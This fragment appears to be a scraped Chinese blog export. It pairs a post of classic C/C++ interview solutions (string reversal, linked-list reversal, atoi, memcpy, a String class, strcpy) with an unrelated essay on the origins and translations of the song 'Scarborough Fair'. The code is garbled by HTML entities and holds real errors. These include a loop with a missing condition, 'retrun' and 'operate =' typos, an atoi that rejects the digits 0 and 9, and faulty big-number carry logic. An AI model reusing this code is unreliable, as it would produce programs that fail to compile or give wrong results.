-1;\n}\n实现字符串翻转\nvoid reserve(char* str)\n{\nassert(str != NULL);\nchar * p1 = str;\nchar * p2 = str-1;\nwhile(*++p2); //一般要求不能使用strlen\np2 -= 1;\nwhile(p1 {\nchar c = *p1;\n*p1++ = *p2;\n*p2\u0026#8211; = c;\n}\n}\n将一个单链表逆序\nstruct list_node\n{\nlist_node(int a,list_node* b):data(a),next(b) //这个为了测试方便\n{}\nint data;\nlist_node* next;\n};\nvoid reserve(list_node* phead)\n{\nlist_node* p = phead-\u0026gt;next;\nif(p == NULL || p-\u0026gt;next == NULL) return; //只有头节点或一个节点\nlist_node* p1=p-\u0026gt;next;\np-\u0026gt;next=NULL;\nwhile(p1!=NULL)\n{\np = p1-\u0026gt;next;\np1-\u0026gt;next = phead-\u0026gt;next;\nphead-\u0026gt;next = p1;\np1 = p;\n}\n}\n测试程序：\nlist lt;\nlt.phead = new list_node(0,0);\nlt.phead-\u0026gt;next = new list_node(1,0);\nlt.phead-\u0026gt;next-\u0026gt;next = new list_node(2,0);\nlt.phead-\u0026gt;next-\u0026gt;next-\u0026gt;next = new list_node(3,0);\nlt.reserve();\nlist_node * p = lt.phead;\nwhile(p)\n{\ncout\u0026lt;data\u0026lt; p = p-\u0026gt;next;\n}\n循环链表的节点对换和删除。\n//双向循环\nlist_node* earse(list_node* node)\n{\n// if(node == rear) return node-\u0026gt;next; //对于头节点可判断也可不判断。最好加上\nlist_node* next = node-\u0026gt;next;\nnext-\u0026gt;prev = node-\u0026gt;prev;\nnode-\u0026gt;prev-\u0026gt;next = next;\ndelete node;\nretrun next;\n}\n//单项循环\nlist_node* earse(list_node* node)\n{\n// if(node == rear) return node-\u0026gt;next; //对于头节点可判断也可不判断。最好加上\nlist_node* p = rear;\nwhile(p-\u0026gt;next != node) p=p-\u0026gt;next;\np-\u0026gt;next = node-\u0026gt;next;\ndelete node;\nretrun p-\u0026gt;next;\n}\n将一个数字字符串转换为数字.\u0026#8221;1234\u0026#8243; \u0026#8211;\u0026gt;1234\nint atoii(char* s)\n{\nassert(s!=NULL);\nint num = 0;\nint temp;\nwhile(*s\u0026gt;\u0026#8217;0\u0026#8242; \u0026amp;\u0026amp; *s\u0026lt;\u0026#8216;9\u0026#8217;)\n{\nnum *= 10;\nnum += *s-\u0026#8216;0\u0026#8217;;\ns++;\n}\nreturn num;\n}\n出现次数相当频繁\n.实现任意长度的整数相加或者相乘功能。\nvoid bigadd(char* num,char* str,int len)\n{\nfor(int i=len;i\u0026gt;0;i\u0026#8211;)\n{\nnum[i] += str[i];\nint j = i;\nwhile(num[j]\u0026gt;=10)\n{\nnum[j\u0026#8211;] -= 10;\nnum[j] += 1;\n}\n}\n}\n.写函数完成内存的拷贝\nvoid* memcpy( void *dst, const void *src, unsigned int len )\n{\nregister char *d;\nregister char *s;\nif (len == 0)\nreturn dst;\nif ( dst \u0026gt; src ) //考虑覆盖情况\n{\nd = (char *)dst + len \u0026#8211; 1;\ns = (char *)src + len \u0026#8211; 1;\nwhile ( len \u0026gt;= 4 ) //循环展开，提高执行效率\n{\n*d\u0026#8211; = *s\u0026#8211;;\n*d\u0026#8211; = *s\u0026#8211;;\n*d\u0026#8211; = *s\u0026#8211;;\n*d\u0026#8211; = *s\u0026#8211;;\nlen -= 4;\n}\nwhile ( len\u0026#8211; )\n{\n*d\u0026#8211; = *s\u0026#8211;;\n}\n}\nelse if ( dst \u0026lt; src )\n{\nd = (char *)dst;\ns = (char *)src;\nwhile ( len \u0026gt;= 4 )\n{\n*d++ = *s++;\n*d++ = *s++;\n*d++ = *s++;\n*d++ = *s++;\nlen -= 4;\n}\nwhile ( len\u0026#8211; )\n{\n*d++ = *s++;\n}\n}\nreturn dst;\n}\n出现次数相当频繁\n编写类String的构造函数、析构函数和赋值函数，已知类String的原型为：\nclass String\n{\npublic:\nString(const char *str = NULL); // 普通构造函数\nString(const String \u0026amp;other); // 拷贝构造函数\n~ String(void); // 析构函数\nString \u0026amp; operate =(const String \u0026amp;other); // 赋值函数\nprivate:\nchar *m_data; // 用于保存字符串\n};\n解答：\n//普通构造函数\nString::String(const char *str)\n{\nif(str==NULL)\n{\nm_data = new char[1]; // 得分点：对空字符串自动申请存放结束标志\u0026#8221;的空\n//加分点：对m_data加NULL 判断\n*m_data = \u0026#8221;;\n}\nelse\n{\nint length = strlen(str);\nm_data = new char[length+1]; // 若能加 NULL 判断则更好\nstrcpy(m_data, str);\n}\n}\n// String的析构函数\nString::~String(void)\n{\ndelete [] m_data; // 或delete m_data;\n}\n//拷贝构造函数\nString::String(const String \u0026amp;other) // 得分点：输入参数为const型\n{\nint length = strlen(other.m_data);\nm_data = new char[length+1]; //加分点：对m_data加NULL 判断\nstrcpy(m_data, other.m_data);\n}\n//赋值函数\nString \u0026amp; String::operate =(const String \u0026amp;other) // 得分点：输入参数为const型\n{\nif(this == \u0026amp;other) //得分点：检查自赋值\nreturn *this;\ndelete [] m_data; //得分点：释放原有的内存资源\nint length = strlen( other.m_data );\nm_data = new char[length+1]; //加分点：对m_data加NULL 判断\nstrcpy( m_data, other.m_data );\nreturn *this; //得分点：返回本对象的引用\n}\n剖析：\n能够准确无误地编写出String类的构造函数、拷贝构造函数、赋值函数和析构函数的面试者至少已经具备了C++基本功的60%以上！\n在这个类中包括了指针类成员变量m_data，当类中包括指针类成员变量时，一定要重载其拷贝构造函数、赋值函数和析构函数，这既是对C++程序员的基本要求，也是《Effective　C++》中特别强调的条款。\n实现strcpy\nchar * strcpy( char *strDest, const char *strSrc )\n{\nassert( (strDest != NULL) \u0026amp;\u0026amp; (strSrc != NULL) );\nchar *address = strDest;\nwhile( (*strDest++ = * strSrc++) != ‘’ );\nreturn address;\n}\n编写一个函数，作用是把一个char组成的字符串循环右移n个。比如原来是“abcdefghi”如果n=2，移位后应该是“hiabcdefgh”\n函数头是这样的：\n//pStr是指向以\u0026#8221;结尾的字符串的指针\n//steps是要求移动的n\nvoid LoopMove ( char * pStr, int steps )\n{\n//请填充\u0026#8230;\n}\n解答：\n正确解答1：\nvoid LoopMove ( char *pStr, int steps )\n{\nint n = strlen( pStr ) \u0026#8211; steps;\nchar tmp[MAX_LEN];\nstrcpy ( tmp, pStr + n );\nstrcpy ( tmp + steps, pStr);\n*( tmp + strlen ( pStr ) ) = \u0026#8221;;\nstrcpy( pStr, tmp );\n}\n正确解答2：\nvoid LoopMove ( char *pStr, int steps )\n{\nint n = strlen( pStr ) \u0026#8211; steps;\nchar tmp[MAX_LEN];\nmemcpy( tmp, pStr + n, steps );\nmemcpy(pStr + steps, pStr, n );\nmemcpy(pStr, tmp, steps );\n}\n","permalink":"https://hessian.cn/p/416.html","summary":"二分查找的代码.\nint bfind(int* a,int len,int val)\n{\nint m = len/2;\nint l = 0;\nint r = len;\nwhile(l!=m \u0026amp;\u0026amp; r!= m)\n{\nif(a[m] \u0026gt; val)\n{\nr = m;\nm = (m+l)/2;\n}\nelse if(a[m] \u0026lt; val)\n{\nl = m;\nm = (m+r)/2;\n}\nelse\nreturn m;\n}\nreturn -1; //没有找到\n}\n写出在母串中查找子串出现次数的代码.\n","title":"C/C++ 经典算法实例"},{"content":"斯镇的颂歌(Scarborough-Fair) src:http://www.miba.cn/bbs/viewthread.php?tid=3156\nhttp://image2.sina.com.cn/dongman/f/2004-04-08/U4P55T4D18090F248DT20040408143519.swf\n《Scarborough Fair》是美国六十年代最受大学生欢迎的电影、1968年奥斯卡获奖片《毕业生》（达斯汀·霍夫曼主演，其成名作）中的主题曲，歌曲名称： 《Scarborough Fair》（中译：斯坎伯瑞集市），原唱歌手：Paul Simon （保罗·西蒙）和Art Garfunkel（加芬克尔），作词：Paul Simon － Art Garfunkel，作曲：Paul Simon － Art Garfunke。我也收藏有莎拉·布莱曼翻唱的。片中的另一首歌曲《寂静之声》也很出名，想大家也是听过的。 喜欢《Scarborough Fair》，因为它不那么美国，因为它那种幽怨的低唱。 《Scarborough Fair》作为上个世纪最著名、最成功的民歌之一，必定将永远地在人们心中回响，不断地勾起我们那些或忧伤或欢乐的回忆来。 多年来一直想把《Scarborough Fair》的英文歌词翻译成上口易唱的中文歌词，总不能让自己满意。 后来看到有人用诗经体的格式将《Scarborough Fair》翻译出来，竟也能唱，几乎看不出哪个是原创，哪个是译文。 我没想到它和诗经之间竟然有着那么一种很微妙的契合，纵然一个是公元之前，而另一个是百世以后。它的旋律，仿佛是一阵清风，夹杂着野草野花的苦寒轻 香，在大地上缓缓掠过；而我更看见一个穿白衣服的人摇着木铎，边走边呼唤着苍穹，在一望无际的大地与村庄之间采集梦幻。真的很难忘却这种莫名的联想。很喜 欢在异邦的文明之中，还能寻出这样令我心折的古中国的意韵。 Paul Frederic Simon，1941年10月13日出生于美国新泽西州纽华克市，他与其伙伴Art Garfunkel以一种二人组合的形式进入音乐届。\n1957年，他们以一首颇有影响力的摇滚乐《Hey, Schoolgirl》冲击了美国金曲排行榜。在出过一部专辑后，他们分开了，主要是为了能返回学校学习。尽管后来，Simon主要还是为Carole King唱片公司工作，他还是没能再出唱片，直到60年代初。Simon曾使用更种不同的化名在1962至1963年期间出过一些在美国来说的二流歌曲， 比如说以Tico And The Triumphs名义出的《Motorcycle》和以Jerry Landis名义出的《The Lone Teen-Ranger》。\n1964年，他移居欧洲后，开始在巴黎和英国伦敦各种民间俱尔部中演出。返回纽约后，他与CBS的唱片公司签约，制作人为Tom Wilson，并且重新与他的老搭档Garfunkel合作。他们在1964年录制的专辑《Wednesday Morning》，其中包括歌曲《The Sound Of Silence》的销量不是很好，使得Simon返回伦敦。同时，他制作了《Paul Simon歌曲集》，这是一个单独工作，他在预算几乎是零的情况下，对这些歌曲进行了录制工作。这其中包括一些现在已是众所周知的作品，如《I Am A Rock》、《A Most Peculiar Man》和《Kathy\u0026#039;s Song》。他返回美国后，他与Garfunkel的事业得到了其制作人的支持，将他们的作品《Sound Of Silence》重新进行电子处理，并改名为《The Sounds Of Silence》，制作出了一部民间摇滚金曲，并使销量剧增到美国市场最高点。在1965年到1970年期间，Simon和Garfunkel成为美国流 行乐坛历史上最成功的唱片二人组。他们的伙伴关系由于对音乐理解的不同，最终还是结束了。合作中止后，Simon开始在纽约从事写歌工作，准备发展一种不 同形式的独奏专辑\u0026#8211;Paul Simon专辑。他的工作融入了拉丁、瑞格和爵士舞曲的风格，代表作有《Mother And Child Reunion》和《Me And Julio Down By The Schoolyard》。\n斯卡布罗集市（Scarborough Fair）是翻唱中世纪的一首老歌，作为《毕业生》的插曲之一，其所享有的荣誉虽不及《The Sounds Of Silence》，但Paul Simon和Garfunkel完美的嗓音结合无疑再次得到了最好的诠释。\n一、斯镇溯源 多年来我一直将Scarborough Fair / Canticle歌名译为\u0026quot;斯镇的颂歌\u0026quot;，也注意到有不少人同意并沿用这种译法。另一个与此分歧较大的译法为\u0026quot;斯卡波罗夫集市\u0026quot;。但很显然，像这类音节较 多的地名，类似将Philadelphia处理为\u0026quot;费城\u0026quot;的译法要稍好，Scarborough译为\u0026quot;斯镇\u0026quot;似为妥当。问题是我很长时间里将\u0026quot;集市\u0026quot;演绎 为\u0026quot;集镇\u0026quot;，所以误将Scarborough Fair整体理解为一个\u0026quot;斯镇\u0026quot;。这是我颇感汗颜之处。 其实Scarborough是英格兰东北部一自治镇，毗邻北海。该镇人口4万多，有悠久的历史，至今以铜器时代的村落遗址和公元四世纪罗马人的信号塔吸引 游人，是著名的海滨度假地。英国著名的女诗人Dame Edith Sitwell（1887-1964）和著名作家Sir Sacheverell Sitwell（1897-1988）都是Scarborough人，美国电影演员Charles Laughton也生于此镇。歌曲Scarborough Fair中所指的无疑是这里。 既然Scarborough是一个地名，那么Scarborough Fair理解为举办于该地的集市较为合适。如此，Scarborough Fair / Canticle译为\u0026quot;斯镇的集市和副歌\u0026quot;似乎最妥贴。但这可能会使人误解为\u0026quot;斯镇的集市\u0026quot;和\u0026quot;斯镇的副歌\u0026quot;，后面我们可以看到这段副歌的内容与\u0026quot;斯镇\u0026quot; 是毫无关联的，更准确的翻译应为\u0026quot;斯镇的集市和一段副歌\u0026quot;或\u0026quot;斯镇的集市（外一首?quot;。作为歌名，这样的译法又显然太过冗赘，相比之下倒不如\u0026quot;斯 镇的颂歌\u0026quot;（Scarborough Fair / Canticle）或\u0026quot;斯镇的集市\u0026quot;（Scarborough Fair）。其实当我们在后文了解到这首歌的来历细节之后，就会发现Scarborough Fair的歌名对整首歌的内容是全然无关紧要的，Scarborough Fair也好，有的版本记载的Cape Ann也好，完全是信手拈来，是不同的民歌手演唱时随意改动的地名。 但有一点是确定的，Scarborough Fair作为歌名是远在美国歌星Paul Simon（保罗·西蒙，1941- ）百曛 暗氖虑椋琒imon不可能如\u0026quot;若非\u0026quot;所言在60年代末以其深厚的文学功底将Scarborough Fair做成\u0026quot;歌眼\u0026quot;。 而Scarborough这个词作为地名，更是古已有之，至少在我考证这首歌由来一直到中世纪，也没有见有将Scarborough Fair拆解为Scar-Borrow-Fair，再以Scar与Fair昭示战争与和平（Anti-War）的说法。 就算再推至上古，Scarborough是由scar（伤疤）和borough（自治镇）构成的词，也不尽然就如有些人可翻译为\u0026quot;创伤之城\u0026quot;。谁知此地名 是不是因领地所有者脸上的疤而来呢？而且，Scarborough这个地名不仅在英格兰久已有之，而且受其文化影响的美国（缅因州）甚至特利尼达和多巴哥 也有同名的城镇，再小的地名如加拿大多伦多的Scarborough Civic Centre等更是多不胜数。试想一个人们如此认同的地名出现在歌中时，谁又会去解谜似地剖析它的含义呢？即便可以拆字取义，谁会把\u0026quot;合肥的故事\u0026quot;联想 成\u0026quot;两个胖子做古文\u0026quot;呢？ 二、矮子骑士 Scarborough Fair的歌曲原型来自The Elfin Knight (Child #2)，即\u0026quot;矮子骑士\u0026quot;（查尔德民歌集第二号），最早见诸记载是在英格兰1673年。这首民谣主要流传于英伦三岛和爱尔兰，在美国东部一些州和加拿大西部 地区也有传唱的记载。在不同记载中不同的歌词版本有近二十种，不同的歌名也有十多种。歌名为Scarborough Fair的版本见于十九世纪。尽管如此，歌曲最初的内容情节大体相似，只是越到近代原来的情节线索越不明显，矮骑士的身份被淡化甚至去除。下面就是最初版 本的The Elfin Knight歌词。 The Elfin Knight MY plaid awa, my plaid awa, And ore the hill and far awa, And far awa to Norrowa, My plaid shall not be blown awa. 1 The elphin knight sits on yon hill, Ba, ba, ba, lilli ba He blaws his horn both lewd and shril. The wind hath blown my plaid awa 2 He blowes it east, he blowes it west, He blowes it where he lyketh best. 3 \u0026#039;I wish that horn were in my kist, Yea, and the knight in my armes two.\u0026#039; 4 She had no sooner these words said, When that the knight came to her bed. 5 \u0026#039;Thou art over young a maid,\u0026#039; quoth he, \u0026#039;Married with me thou il wouldst be.\u0026#039; 6 \u0026#039;I have a sister younger than I, And she was married yesterday. 7 \u0026#039;Married with me if thou wouldst be, A courtesie thou must do to me. 8 \u0026#039;For thou must shape a sark to me, Without any cut or heme,\u0026#039; quoth he. 9 \u0026#039;Thou must shape it knife-and-sheerlesse, And also sue it needle-threedlesse.\u0026#039; 10 \u0026#039;If that piece of courtesie I do to thee, Another thou must do to me. 11 \u0026#039;I have an aiker of good ley-land, Which lyeth low by yon sea-strand. 12 \u0026#039;For thou must eare it with thy horn, So thou must sow it with thy corn. 13 \u0026#039;And bigg a cart of stone and lyme, Robin Redbreast he must trail it hame. 14 \u0026#039;Thou must barn it in a mouse-hell, And thrash it into thy shoes sell. 15 \u0026#039;And thou must winnow it in thy looff, And also seek it in thy glove. 16 \u0026#039;For thou must bring it over the sea, And thou must bring it dry home to me. 17 \u0026#039;When thou hast gotten thy turns well done, Then come to me and get thy sark then.\u0026#039; 18 \u0026#039;I\u0026#039;l not quite my plaid for my life; It haps my seven bairns and my wife.\u0026#039; The wind shall not blow my plaid awa 19 \u0026#039;My maidenhead I\u0026#039;1 then keep still, Let the elphin knight do what he will.\u0026#039; The wind\u0026#039;s not blown my plaid awa 我们可以看出歌词中的故事讲的是：矮骑士与一位相好的姑娘调侃，他答应娶姑娘，但她必须做到一系列不可能做到的事情；而姑娘答应做到这些事情，但矮骑士必 须先做到她要求的种种无法实现之事。这种起源于男女情人相互诘问的民谣形式，显然广泛存在于许多民族的民间文化当中，《刘三姐》中无数的对唱便是此类。再 此后的版本中，变化最大的是诘问的内容，可以想见这是因为诘问往往是即兴变化的。1810年版本中的此部分既保留了原歌曲的主要情节，又接近今天我们听到 的Scarborough Fair的内容，大意为：你能否为我做一件亚麻衬衣，但不能有褶缝和针角？濯洗于远方的枯井，晾于从未开花的荆棘？好，你提了三个问题请先回答我的问题， 能否为我在沙海之间找一方土地？用羊角耕地，播一粒胡椒种，收割以皮镰刀，束以孔雀羽？做完了这些事你再来取你的亚麻衬衣。 而我们今天听到的Simon \u0026amp; Garfunkel的演唱录制于1965年，相互诘问的情节已支离破碎，很难看出，读起来倒像是昔日情人间的私语。另外矮骑士完全消失，主人公可以引申为 一般的普通人。这是这首古老民歌被赋予新意的所在，全无Paul Simon加入或更改的词句，60年代美国的背景又如何被植于字里行间的呢？ 三、鼠尾草和百里香 值得一提的是，并不是所有的版本中都有parsley sage rosemary and thyme（芫荽、鼠尾草、迷迭香和百里香）这一句，较早出现于记载中的是1810年的版本，还有的版本中甚至是ivy and holly（常春藤和冬青）等完全不同的东西。据分析这些字句在早先的民歌中未必不存在，只不过它们是以和声副歌或过渡句的形式出现，而且即兴的变化较 多，因而不易记载而已。这在它们出现的版本中也可以窥见端倪，parsley sage rosemary and thyme或sing ivy，sing holly出现往往在第一段，在其后段落中就省略不记了。 有学者认为像parsley、sage、rosemary、thyme、ivy或holly等植物常出现在英国文学中艳情或诱惑类的描写里，因而带有明显的煽情意味。如此解析直观感觉已有些委曲，再如\u0026quot;若非\u0026quot;解sage为\u0026quot;贤哲\u0026quot;，thyme为\u0026quot;时间\u0026quot;则实数荒诞不经。 我依然觉得自己在10年前将parsley sage rosemary and thyme理解为不相干插入的四种植物，是一个更可信的思路，只是当时没有旁征博引地展开罢了。 其实我们在关注今日世界上各种文化间的千差万别之时，应当注意到它们在最初阶段和原始形式时有非常多的共性，民谣便是一个典型的例子。中国古典诗词评论者 们将诗歌的修辞手法归纳为\u0026quot;比\u0026quot;和\u0026quot;兴\u0026quot;。比即譬喻，以彼物比此物；兴即寄托，先言他物以引起所咏之词。\u0026quot;关关雎鸠，在河之洲\u0026quot;即是兴，而不是比。然而随 着诗歌日渐从劳动人民口头传唱衍化为文人士大夫案几上的玩意儿之后，兴的手法便逐渐消失。文人们觉得不在\u0026quot;兴\u0026quot;中兼蓄以\u0026quot;比\u0026quot;便不显其骚客本色，以至于今 天无数在文人教化中茁壮成长起来的新文化人，若非在\u0026quot;兴\u0026quot;中找出些\u0026quot;比\u0026quot;意，则食不能甘味而寝不能安枕。sage寓意为\u0026quot;贤哲\u0026quot;，thyme比拟为\u0026quot;时 间\u0026quot;，然后二者勾连，如此方觉\u0026quot;精当透彻\u0026quot;。 在文人墨客们摒弃兴的手法而自得于其繁荣时，兴的表现方式仅存于依然野生的民歌当中。新疆民歌中\u0026quot;达板城的石头圆又平，西瓜大又甜\u0026quot;；陕北民歌\u0026quot;山丹丹花 儿背洼上开，你有什么心事慢慢来\u0026quot;；美国民谣\u0026quot;Where Have All The Flowers Gone\u0026quot;就都仍保留着明显的只兴而不比的词句。任何试图用比来解析它们的做法都会是很荒唐的。睿智的民歌继承人王洛宾或Pete Seeger等也都不刻意追求意兼比兴。 假如我们用兴的表现手法来解释出现在Scarborough Fair中的parsley sage rosemary and thyme一句时，这四种常作调味香料的植物与内容的不相干岂不是非常好理解吗？再想象这类的词汇即兴出现在原始的和声副歌或过渡句中的情景，还有什么理 由非给它们找个说法，非把它们说成是\u0026quot;歌眼\u0026quot;？ 四、士兵真死了吗？ 在\u0026quot;若非\u0026quot;的评论中乍读到\u0026quot;歌曲以一位在战火中亡故的士兵的口吻唱出\u0026quot;时，颇感意外。Scarborough Fair主歌显然并没有\u0026quot;死去士兵\u0026quot;的痕迹，而从副歌Canticle看，我一直理解是一个士兵从回忆山乡童年到面对战争现实。考虑到这一段歌词才真正是 Paul Simon创作于60年代并加入Scarborough Fair的，我还真有点相信士兵已经死去的说法。可是当我反复在Canticle中演绎这种说法时，并不能完全自圆其说，总有一些细节相互矛盾的感觉。 \u0026quot;若非\u0026quot;评论中一面称Scarborough Fair是一首十七世纪的英格兰民谣，一方面又说歌曲作于60年代末，他可能实在不清楚歌中哪些来自十七世纪，而哪些来自60年代。正因如此他才替 Paul Simon拆解Scarborough Fair、Sage和Thyme的吧？ 确实Scarborough Fair是在Simon \u0026amp; Garfunkel加入了Canticle演绎之后才开始风靡全球的，但Scarborough Fair的词、曲甚至吉他伴奏指法都是Simon在英国民谣圈盘桓时期从英国歌手Martin Carthy那里拷贝过来的。多年之后Carthy起诉Simon侵犯其吉他伴奏编配版权，还以胜诉告终。Scarborough Fair既不是Simon的手笔，也非Carthy原创。出自Simon之手的只是Canticle和崭新的编配。 Canticle是Paul Simon一首旧作的片断，原作名为The Side of a Hill，曾先Scarborough Fair / Canticle于1965年出版，收录在Simon在英国出版的一张独唱专辑PAUL SIMON SONGBOOK。当我将这首歌词找来读过之后，Canticle中的内容情景才清晰合理地联系在一起。 The Side of a Hill On the side of a hill In a land called Somewhere A little boy lies a sleep In the earth While down in the valley A cruel war rages And people forget what a Child\u0026#039;s life is worth On the side of a hill A little cloud weeps And waters a grave With its silent tears While a soldier cleans And polishes a gun That ended a life At the age of seven years And the war rages on In a land called Somewhere And generals order Their men to kill And to fight for a cause They\u0026#039;ve long ago forgotten While a little cloud weeps On the side of a hill 山坡上一个无辜的孩子被枪杀，因为山谷里正进行着一场战争。枪杀孩子的战士正擦着枪，他也将是无谓战争中的一个无辜牺牲者。当Simon把这样的情节与 Scarborough Fair混合在一起之后，战士的心里自然而然又出现了一位远方的恋人，又一个无辜的受害者笼罩在战争残酷的阴影当中。两个原本不复杂的故事被这样的交织， 造成了重重叠叠想象的余地。这是Paul Simon特别擅长而在60年代特别喜欢使用的手法。在那张出版于1966年的专辑PARSLEY SAGE ROSEMARY AND THYME中，第一首歌Scarborough Fair / Canticle使用了两首歌重叠，而最后一首歌Silent Night / Seven O\u0026#039;clock News则将歌曲\u0026quot;平安夜\u0026quot;与1965年某晚七点的新闻重叠在一起，谋杀、越战、民权运动、反战示威、政客的嘴脸和镇压行径与圣诞前夜的圣洁气息形成了耐 人寻味的反差。Paul Simon令人称奇的是他超凡的想象力而远不止是他的文学功底，不仅混合歌曲，经他片断处理过的The Side of a Hill也给人们的理解凭添疑云。 让我们再看一看选用Scarborough Fair / Canticle为主题曲之一的电影《毕业生》，这部由Mike Nichols（迈克·尼克尔斯）执导，Dustin Hoffman（达斯廷·霍夫曼）主演的影片本身也是一个层次重叠，反差交织的故事。60年代中期社会的动荡和危机与中产阶级小生活圈的平静无聊，年轻人 理想主义的真诚与中年人的虚伪和堕落，健康的恋爱激情与畸形的肉欲刺激，……在这无数重的反差当中再加入Scarborough Fair / Canticle的曲意重重，反过来电影再加于歌曲的重重曲意，其复杂和耐人寻味程度实在令人赞叹不已。这是Simon追求的，Nichols追求的，也 是Hoffman追求的艺术的错综复杂性，是崛起于60年?quot;思想大解放时期\u0026quot;的许多艺术家共同偏好的追求。这岂是一个\u0026quot;反越战\u0026quot;所能涵盖的主 题？ 士兵真的死了吗？在歌曲Scarborough Fair / Canticle至少还没有，也许明天，因为战争还在继续，因为无谓的战争还将无休止地再起。\n《Scarborough Fair》诗经体译词如下（英中对照） 英文原歌词 诗经体的格式歌词 Scarborough Fair 《斯卡布罗集市》 Are you going to Scarborough Fair 问尔所之，是否如适 Parsely sage rosemary and thyme 蕙兰芫荽，郁郁香芷 Remember me to one who lives there 彼方淑女，凭君寄辞 She once was a true love of mine 伊人曾在，与我相知 Tell her to make me a cambric shirt 嘱彼佳人，备我衣缁 Parsely sage rosemary and thyme 蕙兰芫荽，郁郁香芷 Without no seams nor needle work 勿用针砧，无隙无疵 Then she will be a true love of mine 伊人何在，慰我相思 伴唱： On the side of hill in the deep forest green 彼山之阴，深林荒址 Tracing of sparrow on snow crested brown 冬寻毡毯，老雀燕子 Blankets and bed clothers the child of maintain 雪覆四野，高山迟滞 Sleeps unawafe of the clarion call 眠而不觉，寒笳清嘶 Tell her to find me an acre of land 嘱彼佳人，营我家室 Parsely sage rosemary and thyme 蕙兰芫荽，郁郁香芷 Between the salt water and the sea strand良田所修，大海之坻 Then she will be a true love of mine 伊人应在，任我相视 伴唱： On the side of hill a sprinkling of leaves 彼山之阴，叶疏苔蚀 Washes the grave with slivery tears 涤我孤冢，珠泪渐渍 A soldier cleans and polishes a gun 昔我长剑，日日拂拭 Sleeps unaware of the clarion call 寂而不觉，寒笳长嘶 Tell her to reap it with a sickle of leather 嘱彼佳人，收我秋实 Parsely sage rosemary and thyme 蕙兰芫荽，郁郁香芷 And gather it all in a bunch of heather 敛之集之，勿弃勿失 Then she will be a ture love of mine 伊人犹在，唯我相誓 伴唱： War bellows blazing in scarlet battalions 烽火印啸，浴血之师 Generals order their soldiers to kill and to fight for a cause将帅有令，勤王之事 They have long ago forgoten 争斗缘何，久忘其旨 Sleeps unaware of the clarion call 痴而不觉，寒笳悲嘶 （再重复一遍第一段） 1966年底，又一张主要以西蒙在英国期间创作的歌曲为主的专辑出版了。专辑的名称《欧芹、鼠尾草、迷迭香和百里香》是专辑主打歌《斯卡布罗集市/颂 歌》（Scarborough Fair/ Canticle）中的一句歌词。此歌原是一首古老的英国民歌，其起源可一直追溯到中世纪。它曾被英国民歌之父麦考选进他编辑的一本介绍英国民歌的书中。 后来英国民歌手马汀·卡西（Martin Carthy）在原歌的基础上加进了自己的再创造（尤其是里面那优美的吉它伴奏），把它变成了一首非常优美的爱情歌曲。西蒙在英国时从卡西那里学会了这首 歌。他又再创造性地把自己写的一首反战歌曲《山坡上》（The Side Of A Hill）作为副歌和这首歌混在一起，用对比的手法表达了对和平的渴望。加芬克尔为副歌作了曲，成为歌中的\u0026ldquo;颂歌\u0026rdquo;部分。两人在录音时利用多轨技术把多个 声部叠加在一起，使人声显得特别丰富。当年崔健在\u0026ldquo;七合板乐队\u0026rdquo;出版的一张专辑里曾翻唱过这首动听的歌曲（括号内是同时唱出的《颂歌》的歌词）： 斯卡布罗集市/颂歌 你要去斯卡布罗集市吗？ 那里有醉人的香草和鲜花 那香味让我想起一位住在那里的姑娘 我曾经是那么地爱她 请让她为我做一件麻布的衣裳 （山坡上那片绿色的丛林中） 欧芹、鼠尾草、迷迭香和百里香 （顺着麻雀在雪地上留下的一行脚印） 没有接缝也找不到针脚 （在毯子下面找到一个山的孩子） 那才是我心爱的姑娘 （他睡得正香听不到山下进军的号角） 请她为我找到一亩土地 （山坡上落叶稀疏） 欧芹、鼠尾草、迷迭香和百里香 （汹涌的泪水冲洗着大地） 座落在海水和海滩之间 （一个士兵正在擦拭手中的枪） 那才是我心爱的姑娘 请她用皮做的镰刀收割庄稼 （战斗激烈，红衣士兵冲向敌阵） 欧芹、鼠尾草、迷迭香和百里香 （将军命令士兵杀死敌人） 再用石南草札成一堆 （战争的目的早已被遗忘） 那才是我心爱的姑娘 你要去斯卡布罗集市吗？ 那里有醉人的香草和鲜花 那香味让我想起一位住在那里的姑娘 我曾经是那么地爱她 Scarborough Fair Are you going to Scarborough Fair? Parsley，sage，rosemary \u0026amp; thyme Remember me to one who lives there She once was a true love of mine Tell her to make me a cambric shirt (On the side of a hill in the deep forest green) Parsely，sage，rosemary \u0026amp; thyme (Tracing a sparrow on snow－crested ground) Without no seams nor needlework (Blankets and bedclothes a child of the mountains) Then she\u0026#039;ll be a true love of mine (Sleeps unaware of the clarion call) Tell her to find me an acre of land (On the side of a hill，a sprinkling of leaves) Parsely，sage，rosemary，\u0026amp; thyme (Washed is the ground with so many tears) Between the salt water and the sea strand (A soldier cleans and polishes a gun) Then she\u0026#039;ll be a true love of mine Tell her to reap it in a sickle of leather (War bellows，blazing in scarlet battalions) Parsely，sage，rosemary \u0026amp; thyme (Generals order their soldiers to kill) And togather it all in a bunch of heather (And to fight for a cause they\u0026#039;ve long ago forgotten) Then she\u0026#039;ll be a true love of mine Are you going to Scarborough Fair? Parsley，sage，rosemary \u0026amp; thyme Remember me to one who lives there She once was a true love of mine 对于歌曲的意义我曾见过许多种解释，以前在国内曾有人认为欧芹、鼠尾草、迷迭香和百里香这四种植物都具有很浓的香味，这种香味让歌者联想到了斯卡布罗 集市，而歌中作者提出的那些要求其实是在考验那个姑娘的能力。崔健的那首翻唱就是这么认为的。而卡西则在他自己的版本中指出，这四种草药在英国传统中都和 死亡有着某种的联系，它们都被认为是能抵抗死神的草药。联想到歌中演唱者要求心爱的姑娘做的那三件不可能完成的任务，似乎是在暗示那位姑娘已经死去了，歌 者正虔诚地祈祷，让死神把她还回来。 最近有人经过研究，提出了完全不同的解释。歌里的那个斯卡布罗集市其实是暗指那个姑娘毫无原由地离开了这位歌者，而歌者对姑娘提出的这些完全不可能实 现的要求是在向她表明，爱情有时必须要求双方做出在常人看来不可能的事情才会持久。当一个人为了爱情去尝试明知不可能的事情，才最能表明他（她）对爱情的 忠贞。而欧芹、鼠尾草、迷迭香和百里香这四种植物则在中世纪时的欧洲分别代表善良、力量、温柔和勇气，这也是歌者对姑娘的期望。不管当初歌者的动机是什 么，此歌那独特的词句和优美的旋律使得她永远地和爱情联系在了一起。这首歌的出版曾引起了不小的争议。本来谁都有权翻唱一首属于民歌范畴的歌曲，可西蒙和 加芬克尔的唱片内没有按惯例表明这是首改编歌曲，结果大多数听众都以为这是首西蒙的原创作品。其实西蒙根本没有必要这样做，他们两人出色的改编和演唱早已 使这首歌成为西蒙和加芬克尔的标志性歌曲之一，别人想学也学不象了。 